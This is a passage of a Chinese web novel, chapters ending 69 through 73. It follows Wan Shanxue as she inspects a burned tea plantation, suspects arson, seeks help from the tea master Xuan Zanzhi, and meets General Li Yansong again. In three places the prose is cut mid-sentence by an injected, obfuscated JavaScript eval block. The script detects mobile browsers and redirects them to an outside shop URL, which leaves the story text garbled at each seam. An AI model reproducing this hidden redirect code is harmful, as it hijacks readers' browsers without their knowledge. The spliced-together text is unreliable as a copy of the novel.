见他遮遮掩掩地说着，万山雪不置可否，只道：“现场可还留着？我想亲自去看看。” 崔福脸上露出愕然之色：“二奶奶，这可使不得。那地方如今一片焦黑狼藉，处处残垣断壁，您千金贵体尚在病中，何苦去受那个罪？想看什么，唤几个经手的管事回话就是了。” “既来了，总得亲眼瞧瞧，心里才踏实。”万山雪放下茶盏，站起身来，“福叔若是不便，找个识路的伙计引我去便是。” “二奶奶……”崔福还欲再劝，见她目光坚定，只得改口，“您执意要去，老奴自然陪同。只是那路确实不好走，您千万当心。” 万山雪莞尔一笑：“难得过京城到晋陵的路么？” 70. 第 70 章 马车缓缓转入山道，萧湘百无聊赖抠弄着指甲。忽来一阵山风掀开车帘，她往外瞧了一眼，随即弹跳起来，冲万山雪急急招手，声音里满是雀跃：“嫂嫂快看！” 万山雪顺着她手指的方向望去，顿时怔住。 那是一种何等奔放、何等磅礴的绿意啊！ 如同九天之上倾泻而下的碧色瀑布，顺着绵延起伏的山脉浩浩荡荡奔流至眼前。深浅浓淡相得益彰，近处是苍翠的墨绿，稍远些化作清新的翠色，再往天际线望去，便朦胧成一片温柔的青黛。 恰逢云层裂隙，一束阳光投下，层层叠叠的绿刹那间被染得透亮，光泽流转。山风拂过，整片茶山便活了，千万片叶子摇曳翻动，簌簌作响，宛如无数绿色精灵在山野间跃动呼唤。 茶垄顺着山势蜿蜒盘旋，线条流畅曼妙，远远望去，真如一匹巨大的锦缎，以山为架，肆意铺陈。 万山雪不由深深吸了一口气，空气清冽，将连日来积郁在五脏六腑间的沉闷忧虑，涤荡一空。 马车在山道上颠簸了半个多时辰，终于驶入崔家茶园。 还未下车，一股焦糊烟熏的气味已侵入车厢。 即使早已反复预想过灾后景象，此刻亲眼目睹，仍让万山雪的心头骤然一痛。 目之所及，俱是焦黑。 这一整片向阳的茶山，仿佛被一支蘸饱了浓墨的笔，怀着恶意狠狠抹过，只留下大片大片狰狞枯槁的底色。 那些曾经青翠欲滴的茶树，只剩下光秃秃的主干，枝桠尽毁。与方才路上所见那郁郁葱葱、生机盎然的景象相比，死寂得令人心头发冷，不忍相看。 山脚下，原先整齐的工坊与库房区已彻底沦为废墟。仅有几处未曾完全倒塌的土墙孤寂矗立，墙上那一道道浓重熏黑的痕迹，昭示着那一夜火势是何等的狂暴无情。 崔福陪在一侧，半弓着身子，不住口地提醒：“二奶奶，千万小心脚下，您留神那根歪梁……” 万山雪沉默着，一步步向废墟深处走去。寒风卷过，扬起细碎的尘灰，扑打在她的裙裾上，留下斑斑污迹，她浑然不觉，一直走到开阔处站定，才开口问道：“福叔，官府最终确认的起火源头，在何处？” 崔福忙上前两步，指向左前方一处瓦砾堆积最高的地方：“回二奶奶，就是那儿，第三号炒青工坊。据那晚值守的两个伙计说，半夜里闻到刺鼻的焦糊味，爬起来一看，三号坊那边已经火光冲天，映红了半边天。” “他两个现下人在何处？” “一个伤了胳膊，在家休养。另一个吸多了浓烟，咳嗽得厉害，这两日才能勉强下床。二奶奶若要问话，我这就派人去寻他们过来。” “当时参与救火的人，可曾说起火势是如何蔓延的？储水大缸和防火沙土，平日可有专人定期查验？” 万山雪来之前仔细跟丰德探讨过茶园平时的经营管理之道，这会儿问题接连而出，如同细密的针脚，试图从这片混乱的灰烬中，缝合出真相的轮廓。 崔福痛心疾首，连连摇头叹道：“那晚起的西北风，火从三号坊起来后，借着风势直接扑向库房和四号坊。伙计们发现得不算晚，也都拼命去救，可咱们这茶园，取水主要就靠后山那条溪流和园里的几口井，储水缸平日都是满的，沙土堆也备在显眼处，防火规程都有，奈何火势太猛，唉，几缸水、几车沙土泼上去，简直毫无用处。” 听起来与官府备案的调查结果都吻合。 万山雪目光微转，瞥见不远处辛骐正蹲下身，伸出两指，从焦土中捻起一小撮泥土，放在鼻尖下细嗅。 她心中一动，转过身，指着几处颜色格外深的地块，问道：“福叔，我瞧这几处焦色似乎更深些？” “这些地方紧挨着工坊，烧得自然就更透彻些。二奶奶，这山上风冷，灰也大，您身子尚未好全，先回庄子里歇歇吧。” “福叔，依你的经验看，这些被大火烧过的茶树，还能救回来几成？若是要补种新苗，需要多少？” 崔福搓了搓手，一脸为难：“二奶奶，经烈火炙烤过的土地，土性已变，对往后茶叶品质影响有多大，谁也不敢说。这些老茶树的根系大半都烧坏了，恐怕十不存一。咱们自家苗圃也未能幸免，若要补足，就得向外头买茶苗。就算土性不变，当下立刻开始重整土地，一套流程下来，最快也得等到来年开春了。等新苗栽下，到能采摘像样的茶叶，至少需要三年时间。这期间，购买茶苗、雇佣人手、日常养护管理的投入，无一不是大笔开销。再者，这茶山虽是太太名下产业无需租金，可官府的茶税，年年还得照常缴纳……” 这些话，见面时他已反复说过了。 万山雪静静听着，山风阵阵，吹起她鬓边几缕碎发，她忽然打断崔福的絮叨：“福叔，你可知道茶王宣赞之老爷子？” 崔福话音一顿，随即笑道：“知道，当然知道！宣老爷子是咱们整个江南茶行公认的泰山北斗，德高望重，种茶制茶的手艺登峰造极，无人能出其右。二奶奶忽然问起，莫非是想……？” “是，我想去拜会宣老爷子。”万山雪转过身，直面崔福，“茶园遭此劫难，损失惨重。单凭我们自家人关起门来苦思冥想，难以周全，也易走弯路。宣老爷子经验丰富，或许能有拨云见日的妙法。” “这……”崔福脸上的笑容变得有些勉强，“二奶奶这想法自然是极好的。只是他老人家年事已高，近年来深居简出，早已谢绝外客颐养天年了。咱们崔家与宣家，虽说同在一行，但平素没有往来。这会子贸然上门求见，只怕徒劳无功。” “事在人为。”万山雪语气平和，却不容置疑，“崔家茶园是太太陪嫁，也是她半生心血所系，更是百十来户茶农一家老小的生计根本。但存一线希望，咱们都要尽力去试。劳烦福叔帮我备几样厚礼，我明日要亲往宣家拜访。” 崔福张口结舌，半晌才说道：“二奶奶为茶园之事如此劳心费力，我等看在眼里，实在是感动又羞惭。只是这茶园重建之事，真真是个无底洞，三年五载未必能见回头钱。崔福食崔家之禄，自当忠崔家之事，实在是不忍心看您年纪轻轻，扛上这么沉重的一副担子，把身子都熬坏了，将来我如何向二爷、向太太交代？其实，京城那边咱们产业也不少，根基深厚。壮士断腕，及时止损，未尝不是更明智的选择啊。” “壮士断腕 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17015440|190081||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ？” 万山雪停下脚步，回转身，目光平静地落在崔福脸上，“福叔的意思是，要我劝太太当即放弃这片茶园？” “不敢，不敢！”崔福忙不迭地摆手，腰弯得更低，“我只是怕投入太多，如同泥牛入海，最终血本无归，反倒伤了崔家元气。毕竟，茶园再好，也只是崔家众多产业中的一处而已……” 万山雪不再看他，重新转过身，望向那片在寒风中更显萧瑟的焦黑土地：“根若是烂了，断哪一条腕，都无济于事。根若还在，哪怕烧成灰烬，也会再发出新芽来。” 回到院落，万山雪命人将辛骐请了过来，她亲手斟了一盏茶奉上，轻声问道：“辛大哥，方才在火场，我看你蹲下身查看泥土，可是察觉了什么异常？” 辛骐从怀中摸出一个小布包，放在桌上摊开：“这些泥土，混着一股焦油味。” 万山雪拈起一小块，凑近鼻端仔细闻了闻，除了浓烈的焦糊味，并未辨别出什么：“这不是茶树油脂焚烧后的气味？” 辛骐摇了摇头，语气十分肯定：“是猛火油。早年我跟随兰大人之前，曾在匠作营里待过些时日，亲眼见过猛火油的制作。此物助燃性极强，味道又冲，与寻常烟火气不同。” 万山雪坐直身子：“如此说来，可以笃定此次火灾，是有人故意纵火了？” 辛骐颔首：“十有八九。” 他略一沉吟，继续道，“我观那位崔管事，言语之间，颇有些耐人寻味。他话里话外，总不断强调重建艰难、耗资巨大。若真是忠心耿耿、一心为主家打算的老仆，值此危难之际，该是殚精竭虑、千方百计寻找重建之法，弥补些许看管不力之过。而非像这般，尚未真正开始着手，便陈述种种难为，看似体贴，实则……” “实则是在动摇我的决心，劝我知难而退。” 万山雪接过话头，“尤其当我提出要拜会宣老爷子时，他阻拦得最为急切，理由也颇为牵强。这会子静下心来细想，处处透着可疑。” 她指尖无意识地轻叩桌面，沉思片刻，又抬头看向辛骐：“辛大哥，你早年跟随我舅舅行走，见识广博，可曾亲眼见过这位宣赞之老爷子？” 提起宣赞之，一向不苟言笑的辛骐，嘴角竟弯了起来：“见过几次。老爷子是个妙人，虽被尊为茶王，技艺超群，却是十足十的老顽童，性子率真，对于真心请教茶事之人，只要投缘，往往倾囊相授，毫不藏私。二奶奶若能得他当面指点，必然获益良多。” 辛骐顿了顿说道，“更难得的，其实是宣老爷子的夫人，只是她不见外客。” “哦？老夫人竟比茶王还厉害么？”万山雪被勾起了兴趣。 “宣老爷子向来以妻为荣。听说她在茶树栽培，尤其是救治疑难杂症方面的技艺见识，比老爷子更胜一筹。只是性情孤僻，不喜与人往来，常言‘人气腌臜，浊了茶性’，终生几乎只与茶树为伴，沉醉其中。二老的独子成婚后，与其妻喜欢呼朋唤友，来往取乐，老夫人嫌其扰了清净，毫不留情将他们逐出。” 万山雪当真闻所未闻，不禁讶然失笑：“听辛大哥这般说，我真是有些迫不及待想见见这对奇人佳偶了。” 71. 第 71 章 宣家宅邸坐落在晋陵与秀州交界的深山中，青砖黛瓦，庭院深深。几株老梅斜倚墙角，枝头已结着米粒般的花苞，静待绽放。 万山雪立在门前细细打量，只见墙角爬着野趣横生的忍冬，门边石臼里种着薄荷紫苏，连门环都铸成了憨态可掬的南瓜形，处处透着主人不拘一格的随性诙谐，她想起昨日辛骐之语，不由会心一笑，上前扣动门环。 茶室暖阁里，炭火在铜盆中幽幽燃着，驱散了江南冬日的湿寒。水沸声如松涛隐隐，茶烟轻袅。 宣赞之老爷子须发皆白，面庞红润，一双眼睛笑起来似孩童般顽皮，肃然时却精光内蕴。他正执一把紫砂小壶，徐徐冲淋着茶宠，举止从容如行云流水。 黎偃松身着半旧靛青常服，笔挺如松地坐在对面。 “偃松，快尝尝我这‘窃春香’！” 宣赞之献宝似地推过一盏茶，自己先迫不及待抿了一口，眯起眼满脸享受，“前年腊月雪少，好不容易收了一罐，被我夫人失手打破了。这是去年梅花蕊上收的雪水，埋在杏树下整整一冬一春，你品品看。” 黎偃松于茶道并无多少心得，此前存雪水给祖母贺寿，为的是取个福寿彩头。此时依礼细品，只觉茶汤清冽异常，至于宣老所说的梅子冷香、杏子甜韵，他实在辨不分明，便坦然道：“能沾宣老的光，饮一盏凝结四时风物之茶，是晚辈的福气。可惜我是个粗人，只知好喝，却说不出其中妙处。” “哈哈哈，好孩子。”宣赞之拍腿笑道，“这就是寻常泉水而已。我故意试你，看你会不会像那些附庸风雅之辈胡诌一通——果然我夫人说得对，老头子看人从不出错。” 他乐得活像个恶作剧得逞的孩童，“若换个嘴甜的，此刻早该引经据典说出一大篇道理来，那我非拿棍子撵他出去不可。” 黎偃松见他开怀，亦随之一笑。 这时，家人宣安入内通报万山雪求见。 黎偃松心跳倏然一滞，随即咚咚急撞起来，竟有些坐立难安。她竟来得这样快。 一听是崔家的人，宣赞之笑容顿收，眉头蹙起，挥手便要回绝：“崔家那滩浑水，我可不想蹚。趁早请回，莫扫了我爷儿俩的兴致。” 宣赞之特将茶室设在前楼，专为赏梅。话音刚落，便听见楼下院中传来女孩清脆的笑语，其间伴着女子温和的应答——黎偃松听得真切，那是万山雪的声音。 宣赞之脸色一沉：“你就这样将人放进来了？” 宣安慌忙解释：“是棋小姐。她在前院玩水弄得浑身湿透，姑娘气急罚她面壁，正好碰见崔家夫人来访，小小姐哭闹着说自家娘亲太凶，万夫人温柔可亲，拉着人家非要认作新娘亲不可……” 宣棋是宣老的孙女宣颐的独女，宣颐离异后，不堪父母催逼再婚，携女儿与祖父母住一起，女儿也改随母姓。 宣赞之闻言大笑：“这丫头……宣颐也是，如今当了娘，倒端起架子来了。回想十几年前，她可比棋儿调皮多了。” 黎偃松想象她被小宣棋缠着的模样，唇角不禁浮起一丝笑意。 宣安又呈上一封信来：“老太爷，万夫人还递了这份帖子，说是兰大人所托。” 宣赞之见到故人字迹先是一喜，待看完后抖着信纸埋怨道：“这个兰中正，在外人跟前最是老成持重，到我这儿就成了滚刀肉。你听听这话，‘若得便，稍加点拨；若不得便，抽空点拨’，把我老头子的路堵得死死的。他倒会躲清闲，烫手山芋扔给我……” 嘴里虽抱怨着，语气却已软了下来。 黎偃松适时放下茶盏，开口道：“宣老，崔家这场大火非同小可，关乎百户人家生计。万夫人持故人帖亲至，想来确已无路可走。您常言茶道亦是济世之道，何妨一见？” 宣赞之抬了抬眼，目光狐疑地扫过黎偃松，随即对宣安道：“看在兰老弟的面上，也看在这位‘大人物’难得开金口的份上，就见见吧。请万夫人暖阁稍候。” 饶是黎偃松强作镇定，仍被老爷子那通透的目光看得浑身不自在，只得垂眸饮茶。 宣赞之向后一靠，故意上下打量他：“你来这些日子，从不肯插足这些内宅商事，今日怎倒替人说上情了？嗯？” 黎偃松故作淡然道：“晚辈素来钦佩兰大人为人正直，且觉得万夫人一女子能有此担当，实属不易。” 宣赞之捋着胡子，摇头晃脑忽又凑近，嗓音压得低低的，带着促狭：“方才宣安说万夫人来时，你手里的茶都泼出来了——还糊弄我老头子呢。泰山崩于前而面不改色的大将军，今儿是怎么了？” 黎偃松耳根发热，避开那犀利的注视：“晚辈只是就事论事。宣老莫要玩笑，若叫人听去，有损她的清誉。” “我最不耐烦你们这一套。就算人家成了亲、有了娃娃，喜欢又碍着她名誉什么事？犯了王法不成？” 黎偃松低头喝茶，默然不语。 宣老啧了一声，嫌弃道：“我年轻时要是像你这般闷葫芦，定然讨不着这么好的夫人。喜欢便大大方方告诉人家，她心里也好有个底。将来若遇到过不去的坎，起码知道这世上还有个人可倚仗，多一分底气。叫她丈夫知晓了，也多份小心，明白若不用心相待，人家是有退路的。你脸皮薄，我去替你……” “宣老！”黎偃松窘得起身欲走。 “嗳嗳，年轻人莫要动气，两句玩笑罢了。”宣赞之笑嘻嘻摆摆手，转而正色道，“我且问你，她可认得你？可知你身在此地？” “那些金弘的罪证，都是她暗中递与我父亲的。应知我带人南下，但肯定不知我在您这儿。”黎偃松三言两语交代清楚。 “情深义重啊。我对这姑娘倒添了几分好感。”宣赞之点点头，慢悠悠品了一口，忽然咂咂嘴：“啧，这茶不对，你可尝出什么怪味？” 黎偃松老实摇头，又饮一口：“与方才并无不同。” “怎么我喝着……酸溜溜的？” 黎偃松：“……” 待宣赞之踱步往暖阁去，黎偃松悄悄跟去，转入隔 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17020703|190081||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 壁房中。 哪知宣赞之走过去又特意退了回来，朝着半开的窗子挤了挤眼，这才捋着胡子，一本正经地走进暖阁。 黎偃松哭笑不得，隐在隔墙之后，透过高窗静静望去。 万山雪穿着一身素净的浅橘缎面袄裙，外罩灰鼠皮坎肩，人清减了许多，眼下带着淡淡的倦色，目光却依旧清澈明亮。 见宣赞之进来，她起身行礼：“晚辈万山雪，拜见宣老。冒昧来访，扰了您与老夫人的清静，还望海涵。” “坐罢，坐罢。”宣赞之摆摆手，径自坐下，目光却不客气地打量着她，“听说方才棋儿闹你了？” 万山雪微怔，随即莞尔：“不曾。小小姐天真可爱，我很喜欢。” 想起方才宣棋一把鼻涕一把泪地抱着她，嚷着要休了亲娘宣颐、认她做娘的情景，她脸上不由漾开一丝笑意。 “崔家茶园的事，老夫亦有耳闻，实在可惜。”宣赞之开门见山，“你此来，是为请教茶园重建之事？” “正是。”万山雪不疾不徐道，“茶园遭此大劫，损失惨重。晚辈初来乍到，于茶事仅知皮毛，不敢贸然行动。久闻宣老乃茶行泰斗，学识经验无人能及，故厚颜求教，望老爷子指点迷津。” “你崔家管事经营茶园多年，必已将种种难处一一禀明。你当知，重建之难，不啻登天。投入巨万，周期漫长，其间变数无穷。” 他目光锐利如刀，直直望向万山雪：“说起这场火，恐怕并非天灾。你若执意重建，便须准备好应对暗处的冷箭。你一个年轻妇人，孤身入此险境，凭什么扛起这大任？” 黎偃松屏息凝神，紧紧望着那个柔韧的身影。宣老句句诘问，都让他心头揪紧，担忧她能否应对。 “老爷子所言极是，每一项困难，皆如山在前。” 她的声音透过花窗，稳稳传入黎偃松耳中，“昨日一见，崔福掌柜便已将其中利害陈明，力劝晚辈壮士断腕，莫要因小失大，伤了崔家元气。” 宣赞之眉梢微动，静候下文。 万山雪双手交叠置于膝上，背脊挺得笔直：“晚辈亲眼见了那片焦土——烧黑的茶树、断壁残垣，还有那些闻讯赶来、惶然无措的茶农伙计。他们当中许多人，祖祖辈辈都在这片茶园劳作，茶园是他们安身立命的根本。” 她顿了顿，眼中浮起一层极淡的水光：“这场火，烧掉的不只是茶树与工坊，更是上百户人家糊口的指望。若崔家此时断腕撤离，他们也并非无处可去。只是我观晋陵茶山虽众，各家却自有体系，这骤然失去生计的百十户人，岂是轻易能安置的？” “晚辈虽年轻识浅，亦知此行如履薄冰，前途未卜。”万山雪的声音微微抬高了些，带着破釜沉舟的决绝，“但既受婆母所托，掌理此事，又肩负这许多人的生计，便没有遇难即退的道理。” “如此说来，你千里迢迢来此，全为一片利人之心？” 万山雪轻轻摇头：“若说全然为此，莫说宣老不信，连我自己也觉得虚假。” 72. 第 72 章 这番话一出，黎偃松便知道，宣赞之定会欣赏万山雪。 极度坦诚之人，即便不讨人喜欢，也绝不会招人厌烦。 她迎着宣老的目光，坦然一笑：“眼下最省力的法子，就是劝说婆母放弃这堆烂摊子，我顺理成章回深宅去做崔家二奶奶。不敢说荣华富贵，至少衣食无忧。即便我费尽心血将它经营起来，将来这片山终究姓崔，是婆母与夫君的产业。只是——” 她轻轻摇头，笑容里透出些许苦涩：“宣老一生所见，皆是如老夫人那般独立特行的女子，恐怕难以想象，世上还有我这样无用之人，自出生至今，如同藤蔓，只能依附于娘家或夫家而活。” 宣老倏然直起身：“你听说过我夫人？你远在京城，竟也知道她？” 万山雪被他毫不掩饰的惊喜与对妻子的深情触动，心头一软：“是，不单听舅舅舅母提起过。家中表妹，更是深以老夫人风范为楷模。” 宣赞之一拍大腿，眉飞色舞：“我就说嘛！我夫人即便足不出户，也足以名动四方。” 相守一生，还能以对方为荣，这是何等的情深。 万山雪心间掠过羡慕，继而说道：“这条路不好走，可是于我而言，也许是这辈子唯一的机会，能让我挣脱深宅、凭自己做一番事情。我不能因为艰难就退却。宣老问我凭什么扛得起？说实话，我不知道。但我必须试一试。茶树烧了，就慢慢补种；工坊毁了，技艺和人还在；投入巨大，可以慢慢筹措；周期漫长，便一年一年地守；暗箭难防，便谨慎提防，步步为营。” 宣赞之听得目光炯炯，不禁竖起拇指：“好！有这份心气，倒是我小瞧你了。但我再问你，倘若你将实情报上去，连崔家也决定放弃，届时你又当如何？你要明白，生意人最擅长的，便是权衡利弊。” “来的路上，我也想过这个问题。”万山雪目光沉静，“若真到了那一步，我便自己全盘接下来。银钱、人手，桩桩都是难题，但无妨，我有耐心有时间，一样一样去解决就是。” 见宣赞之面色缓和，她一鼓作气恳求道：“晚辈深知您二老心性高洁，不涉尘俗纷扰，绝不敢将宣家拖入是非之中。只求您就当下困境，指点一二：那焦土之下的老茶树，可还有一线挽救之机？还有补种与重建之事，万望您老人家为我拨开迷雾，理清头绪。” 暖阁内倏然一静，唯有炭火毕剥轻响。 日光悄然偏移，恰好落在万山雪半边侧脸上，为她略显苍白的肌肤镀上一层暖色，更映得那双眼眸清亮粲然，如蕴星火。 黎偃松的目光紧紧锁着她，舍不得移开分毫。 那温柔模样下包裹的坚韧心性，历经曲折非但未曾磨灭，反在磋磨中淬炼出更夺目的光华。 他心口滚烫，翻涌着难以名状的情绪——是疼惜，是骄傲，也是歉疚。她独自扛下了这许多，而他却只能如宣老所说，什么也做不了，隐于暗处，连一句慰藉都无法传递。 宣赞之凝视万山雪良久，面上玩世不恭的神色渐渐淡去，眼底缓缓浮起赞赏。 “我夫人如你这般年纪时，也曾遇见过一片被山火烧毁的老茶园。那时，所有人都说没救了。” 万山雪凝神静听。 “但她不肯信。一寸土一寸土地翻，一棵根一棵根地查。茶树的生命力顽强得超乎想象。尤其那些老丛，根扎得深，地上虽毁，地下的生机未必就绝了。关键是要及时清理，防止朽坏蔓延，再给予恰当的方法，唤醒活气。” “您是说……那些焦黑的茶树，还可能再发新芽？” 一提起茶树，宣赞之谈兴勃发，不再卖关子，开始细细讲解起来。说到专精处，起身比划如何刨土看根、如何调配基肥，还从怀里摸出个巴掌大的旧册子，翻开指给她看：“瞧，这是我夫人与我试过的十三种救焦根的法子……” 他全然沉浸在茶的世界里，像个迫不及待与人分享珍宝的孩童。 万山雪听得极为专注，眼中光彩愈盛 “不过，”宣赞之复归务实，“这需耗费大量时间人力。” 万山雪认真记下，追问道：“关于补种新苗，宣老可有良种推荐？” “云雾茶种，以本山原生者为上。崔家苗圃既毁，可向邻近几家信誉好的茶园求购，这个忙我倒是帮得上。” 他沉吟道，“只是补种并非简单栽下即可。火烧之地，土壤性情可能已变，这里头的学问深得很，三天两夜道不尽。这样吧，我派两个踏实靠谱的年轻弟子，先去替你勘验土质，做些前期指导。” “多谢宣老出手相助。”万山雪起身，郑重敛衽一礼。此言于她，不啻于在黑夜中见到一盏明灯。 宣赞之摆摆手，“至于工坊重建，防火乃第一要务。选址须更加谨慎，储水、备沙等设施需加倍周全，布局要留足防火间距，建材可考虑部分使用砖石。这些道理，有经验的工匠都懂，关键在于舍得投入，并严格执行。” 他略顿，目光落在万山雪脸上，“但这些终究是小事。最难过的关，始终是人心，是藏在暗处的冷箭。” “晚辈明白。” 万山雪颔首，“技术可学，银钱可筹，人心……对于工匠茶人，唯有以诚相待，以规约束。至于暗处的风波，”她的语气冷了下来，“既已身在局中，便只能见招拆招。茶园必须重建，谁若还想伸手来毁，除非先从我身上踏过去。” 语气平静无波，却自有一股凛然难犯之气。 宣赞之盛赞：“好，有你舅父风范！我本不想管崔家闲事的，但既受兰兄弟之托，又见你确有担当，便再多言几句。崔福此人，能力是有的，否则崔夫人也不会委以重任。然此次大火来得蹊跷，其行事做派，你须多存一分心，关键处需有你自己信得过的人介入。” 这已是极为明确的提醒。 对于不爱管闲事之人而言，话说到这个份上，当真是十分难得了。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17027221|190081||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>该说的皆已言尽，宣赞之端起了茶盏。 万山雪知趣地起身，正欲告辞：“无论前路如何，今日蒙老爷子赐见且亲切指点，晚辈感激不尽。此恩此情，没齿难忘。” 宣赞之忽然唤住她：“且慢。” 他面上掠过一丝促狭，复又正经道：“老夫这儿恰有位贵客，于你眼下最棘手的人手一事，或许能助一臂之力。” 万山雪一时摸不准这是否又是老爷子的顽笑话，可看他神色认真，不似作伪。 正犹疑时，宣赞之已负手起身，笑道：“我去给你安排弟子。贵客现在隔壁那间屋子，你自去便是。” 说罢，便施施然踱步出了茶室。 黎偃松带着亲兵匿居宣家，虽安全无虞，但想要探听金弘的动向却颇为麻烦。他正苦思如何能不着痕迹地将人手安排到市井各行之中，宣老亦在帮着设法。眼下万山雪重建茶园正需大量人手，这简直是天赐良机。 然而…… 怀揣着一腔子牵挂思念，他再难维持往日在京城相见时那份平静，不知该以何面目见她。 脚步声已清晰地向这边靠近，他的心骤然提到了嗓子眼，情急之下只得转过身去，假作专注地凝望窗外那几株怒放的寒梅。扶着窗棂的手背筋骨隐现，唯有如此，方能勉强抑住身体的颤抖。 门开了。 他强作从容地转过身。 朝思暮想的人，就立在眼前。他却像被钉在原地，半步也无法挪动。 四目相对。 万山雪整个人倏地僵住，眼里尽是难以置信，惊讶地抬手掩住了唇。 下一刻，她不及思索，出于本能地向他快步奔来，紧紧抓住了他的手臂。 他只觉得脑海里轰然爆鸣，被巨大的喜悦冲击到无力思考。 她抓得那样用力，仿佛用尽全身力气来确认这并非幻觉。欢喜的泪水毫无征兆地涌出，顺着脸颊滑落，语无伦次地说着：“黎将军……真的是你，太好了……你还好好地活着……太好了……” 黎玄在信里曾提及她那个关于他的噩梦，借此解释她冒险传递账本的缘由。他虽不知梦里是何等惨烈景象，但此刻看着她串串滚落的泪珠，也可知这些日子，她饱受着怎样的担忧折磨。 在宣赞之面前的成熟稳重全都消失不见，此时此刻，她脸上满是失而复得的、纯粹的欢欣，像是被噩梦惊醒的小女孩，睁眼发现一切如常之后的踏实。 这个傻姑娘啊，黎偃松心中酸软得一塌糊涂。 他清楚，她这份炽热的欣喜，无关风月，只源于她心底那份纯粹的良善柔软——她不愿见他殒命于奸佞的阴谋之下。 他一动也不舍得动，任由她牢牢抓着自己的手臂，贪婪地盯着她的眉眼，她的泪水，她的笑容。 眼前人，是心上人。而熨帖在心口处的，是那枚寄予了她祈愿的平安扣。 黎偃松啊黎偃松，此生此世，夫复何求。 73. 第 73 章 过了许久，万山雪汹涌的泪意才渐渐平息。 她恍然惊觉，自己与黎偃松竟靠得那样近，近得能看清他眼底细密的红血丝，能嗅到他身上清冽如松柏的气息。更让她窘迫的是，自己的双手竟还紧紧攥着他的手臂。幸而四下无人，否则定要以为他二人有什么见不得人的纠葛。 她慌忙松手，踉跄着后退两步，脸颊烫得几乎要烧起来。 黎偃松的手臂骤然一空，他反手将手掌攥成拳，死死压下那股想要将她拥入怀中的冲动。 见她在袖中摸索，而后用手背胡乱抹去脸上泪痕，他默默取出一方锦帕递过去。 万山雪不及细想，接过来便按在眼角，鼻尖又萦绕起他身上的味道，这才后知后觉地怔住。暗骂自己没脑子，用袖子擦了又何妨？男子的锦帕，岂是能随意接的？ 可转念一想，方才乍然重逢，惊喜之下连人家的手臂都抓了，一方帕子又算得了什么？事已至此，她索性大模大样地拭去泪痕。 “让将军见笑了，方才是我失态。只因前些日子，我做过一个极可怕的梦，梦见将军……”话语戛然而止，梦里的画面太过不祥，也太过暧昧，实在不宣之于口。 她眉眼间的那点别扭，落入黎偃松眼中，惹起一阵疼惜。 “我幼时也常做噩梦。”他的声音不自觉放得轻柔，语带安抚，“祖母总宽慰我，说梦都是反的。你看，我不是好好站在这里吗？别怕。” 他的目光落在她攥着锦帕的手上，见她犹豫片刻，终究还是将帕子收进了袖中。这个细微的动作，像一根羽毛，轻轻拂过他心湖最柔软的地方，漾开一圈无声的涟漪。 “将军安好，是黎家之幸，更是社稷之幸。” 她定了定神，话锋一转，又问道：“一别数月，不知毓儿可曾给将军添麻烦？他年少莽撞，我总放心不下。” 黎偃松温声答道：“令弟随金鲤、青鲤去了北疆大营，我已去信江老将军，托他悉心教导。前几日收到江老的回信，信中赞他勇毅果敢，性子活络，早已与营中同袍打成一片，适应得极好。” 万山雪闻言，明显松了一口气：“那就好，多谢将军费心照拂。对了，心澜一切可好？自那日送别后，我只收到过她一封信。路途遥远，通信不便，我也迟迟未能回信。” “江姑娘一切安好，只是颇为记挂你。”黎偃松唇角微扬，“她与明洲今日正好乔装出去打探消息，若是回来得知你来过，怕是要跺着脚埋怨好一阵子。” 万山雪的笑意愈发深了，眼眸亮得像坠入潭底的星星：“无妨，往后离得近了，相见的机会总会多起来的。” 正说着，宣安轻手轻脚地端着新沏的热茶与几碟精巧茶点进。两人相对坐在窗边的矮榻上，中间隔着一张小巧的茶案。 万山雪这才想起正事，抬眸问道：“对了，方才宣老说将军或可解我人手之困，此话当真？” “我此行带了部分亲信，皆是可信可靠之人。”黎偃松缓缓道来，“他们久在行伍，行事利落机警，更关键的是身份干净，与江南本地各方势力都无牵扯。你重建茶园正需人手，我可以拨一部分人给你充作茶工。一则稍解你燃眉之急，二来也给我行了方便。这些人混迹于茶园市井之间，正好便于我探查消息，留意各方动向。三来，” 他原想说“他们也可替我护你平安”，话到嘴边又生生咽下去了。 万山雪眸光倏然一亮，已经接过话头：“此计甚好！只是须得瞒过崔福等人的耳目，万万不能让他们起疑。” “这倒不难。茶园百废待兴，招募外乡劳力本就合情合理。生面孔混在其中，反倒不易引人注目。这些人皆是我一手调教出来的，令行禁止，你只管放心使唤。” 万山雪颔首应下，端起茶盏抿了一口，轻声道：“别看我在宣老面前信誓旦旦，可一想到要面对茶园那千头万绪的人事，心里还是发怵。有将军这个安排，我才真正踏实了些。” 